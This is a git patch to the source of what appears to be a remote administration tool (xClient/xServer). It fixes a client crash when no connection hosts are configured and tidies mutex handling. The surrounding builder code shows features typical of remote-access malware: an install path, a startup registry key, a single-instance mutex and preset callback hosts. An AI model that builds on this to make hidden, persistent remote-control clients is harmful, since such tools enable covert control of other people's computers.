From bbcc2f954e09f8ea30035529955928fe42f3348f Mon Sep 17 00:00:00 2001 From: MaxXor Date: Fri, 28 Aug 2015 12:45:57 +0200 Subject: [PATCH] Fixed client crash when no hosts to connect --- Client/Core/Helper/HostHelper.cs | 1 - Client/Core/Helper/MutexHelper.cs | 3 +++ Client/Core/Utilities/HostsManager.cs | 2 ++ Client/Program.cs | 5 ++++- Server/Forms/FrmBuilder.cs | 2 +- 5 files changed, 10 insertions(+), 3 deletions(-) diff --git a/Client/Core/Helper/HostHelper.cs b/Client/Core/Helper/HostHelper.cs index 83b1803d..33236ab5 100644 --- a/Client/Core/Helper/HostHelper.cs +++ b/Client/Core/Helper/HostHelper.cs @@ -2,7 +2,6 @@ using System.Linq; using System.Text; using xClient.Core.Data; -using xClient.Core.Utilities; namespace xClient.Core.Helper { diff --git a/Client/Core/Helper/MutexHelper.cs b/Client/Core/Helper/MutexHelper.cs index 0015cebf..47efc050 100644 --- a/Client/Core/Helper/MutexHelper.cs +++ b/Client/Core/Helper/MutexHelper.cs @@ -16,7 +16,10 @@ namespace xClient.Core.Helper public static void CloseMutex() { if (_appMutex != null) + { _appMutex.Close(); + _appMutex = null; + } } } } diff --git a/Client/Core/Utilities/HostsManager.cs b/Client/Core/Utilities/HostsManager.cs index 90625bfb..9f4a1f88 100644 --- a/Client/Core/Utilities/HostsManager.cs +++ b/Client/Core/Utilities/HostsManager.cs @@ -5,6 +5,8 @@ namespace xClient.Core.Utilities { public class HostsManager { + public bool IsEmpty { get { return _hosts.Count == 0; } } + private readonly Queue _hosts = new Queue(); public HostsManager(List hosts) diff --git a/Client/Program.cs b/Client/Program.cs index f8b8e331..785447ba 100644 --- a/Client/Program.cs +++ b/Client/Program.cs @@ -122,8 +122,11 @@ namespace xClient ClientData.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME); GeoLocationHelper.Initialize(); + if (_hosts.IsEmpty) + ClientData.Disconnect = true; // no hosts to connect + if (!MutexHelper.CreateMutex(Settings.MUTEX)) - ClientData.Disconnect = true; + ClientData.Disconnect = true; // process with same mutex is already running if (ClientData.Disconnect) return; diff --git a/Server/Forms/FrmBuilder.cs b/Server/Forms/FrmBuilder.cs index e73bc8e9..79004908 100644 --- a/Server/Forms/FrmBuilder.cs +++ b/Server/Forms/FrmBuilder.cs @@ -213,7 +213,7 @@ namespace xServer.Forms private void btnBuild_Click(object sender, EventArgs e) { if (!string.IsNullOrEmpty(txtTag.Text) && !string.IsNullOrEmpty(txtMutex.Text) && // General Settings - lstHosts.Items.Count > 0 && !string.IsNullOrEmpty(txtPassword.Text) && !string.IsNullOrEmpty(txtDelay.Text) && // Connection + _hosts.Count > 0 && !string.IsNullOrEmpty(txtPassword.Text) && !string.IsNullOrEmpty(txtDelay.Text) && // Connection !chkInstall.Checked || (chkInstall.Checked && !string.IsNullOrEmpty(txtInstallname.Text)) && // Installation !chkStartup.Checked || (chkStartup.Checked && !string.IsNullOrEmpty(txtRegistryKeyName.Text))) // Installation {